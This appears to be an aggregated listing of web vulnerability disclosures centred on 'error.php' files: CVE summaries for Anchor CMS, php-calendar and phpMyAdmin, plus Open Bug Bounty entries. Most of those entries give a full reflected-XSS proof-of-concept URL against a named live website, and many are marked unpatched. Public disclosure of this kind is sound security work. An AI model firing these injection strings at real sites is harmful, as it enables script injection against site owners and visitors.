udllibros.com XSS vulnerability

Open Bug Bounty ID: OBB-607395 Description| Value ---|--- Affected Website:| udllibros.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

CVE-2018-7251

An issue was discovered in config/error.php in Anchor 0.12.3. The error log is exposed at an errors.log URI, and contains MySQL credentials if a MySQL error such as "Too many connections" has occurred...

CVE-2018-7251: Exposure of Sensitive Information to an Unauthorized Actor

An issue was discovered in config/error.php in Anchor 0.12.3. The error log is exposed at an errors.log URI, and contains MySQL credentials if a MySQL error such as "Too many connections" has occurred...

CVE-2017-6485: Improper Neutralization of Input During Web Page Generation

A Cross-Site Scripting XSS issue was discovered in php-calendar before 2017-03-03. The vulnerability exists due to insufficient filtration of user-supplied data errorMsg passed to the "php-calendar-master/error.php" URL. An attacker could execute arbitrary HTML and script code in a browser in the...

lidiza.com XSS vulnerability

Vulnerable URL: http://www.lidiza.com/html2012/error.php?titulo=SEGURIDAD=Necesitas+autentificarte+como+cliente+para+poder+acceder+a+esta+p%E1gina%22%3E%3Csvg/onload=prompt/openbugbounty/%3E28/openbug%20bounty/%3E&noAJAX=S Details: Description| Value ---|--- Patched:| No Latest check for patch:|...

transpagos.net XSS vulnerability

Vulnerable URL: http://www.transpagos.net/prepagotp/error.php?mensaje=No+hay+sesion+previa%22%3E%3Csvg/onload=prompt/openbugbounty/%3E28/openbug%20bounty/%3E=12=si Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:|...

PT-2016-5206

Name of the Vulnerable Software and Affected Versions phpMyAdmin versions 4.5.x through 4.5.5.0 Description A cross-site scripting XSS issue exists in the SQL parser of phpMyAdmin, allowing remote authenticated users to inject arbitrary web script or HTML via a crafted query. This is due to a...

CVE-2016-2559: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in the format function in libraries/sql-parser/src/Utils/Error.php in the SQL parser in phpMyAdmin 4.5.x before 4.5.5.1 allows remote authenticated users to inject arbitrary web script or HTML via a crafted query...

globalechosting.com XSS vulnerability

Vulnerable URL: http://www.globalechosting.com/validator/error.php?message=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / No...

weethet.nl XSS vulnerability

Vulnerable URL: http://www.weethet.nl/error.php?error=404=javascript:alert%28/XSSPOSED/%29 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 825674 Google Pagerank| 0 VIP website...

foxtale.be XSS vulnerability

Vulnerable URL: http://www.foxtale.be/site/error.php?url=http%3A%2F%2Fwww.foxtale.be%2Fen%2Finnovation-14.htm=--!"...

quaestor.be XSS vulnerability

Vulnerable URL: http://www.quaestor.be/site/error.php?url=http%3A%2F%2Fwww.quaestor.be%2Fnl%2Frentmeesters-5.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...

lvfashion.be XSS vulnerability

Vulnerable URL: http://www.lvfashion.be/site/error.php?url=http%3A%2F%2Fwww.lvfashion.be%2F=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 20:06 GMT Vulnerability type:| XSS...

pinocchio1.be XSS vulnerability

Vulnerable URL: http://www.pinocchio1.be/site/error.php?url=http%3A%2F%2Fwww.pinocchio1.be%2Fnl%2Fhome-1.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...

compaktuna.be XSS vulnerability

Vulnerable URL: http://www.compaktuna.be/site/error.php?url=http%3A%2F%2Fwww.compaktuna.be%2Ffr%2Fplaspactuna-125.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...

vyf.be XSS vulnerability

Vulnerable URL: http://www.vyf.be/site/error.php?url=http%3A%2F%2Fwww.vyf.be%2Fnl%2Fgolfsurf-kalender-306.htm%3Fm%3D1%26y%3D2038=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability...

argonselectie.be XSS vulnerability

Vulnerable URL: http://www.argonselectie.be/site/error.php?url=http%3A%2F%2Fwww.argonselectie.be%2Fnl%2Fvacatures-2.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 20:06...

tordale.be XSS vulnerability

Vulnerable URL: http://tordale.be/site/error.php?url=http%3A%2F%2Ftordale.be%2Fnl%2Fvacatures-219.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability...

labadoux.be XSS vulnerability

Vulnerable URL: http://www.labadoux.be/site/error.php?url=http%3A%2F%2Fwww.labadoux.be%2Fnl%2Fdj-desperado-106.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...

vr-bo.be XSS vulnerability

Vulnerable URL: http://www.vr-bo.be/site/error.php?url=http%3A%2F%2Fwww.vr-bo.be%2Fnl%2Fsitemap-17.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability...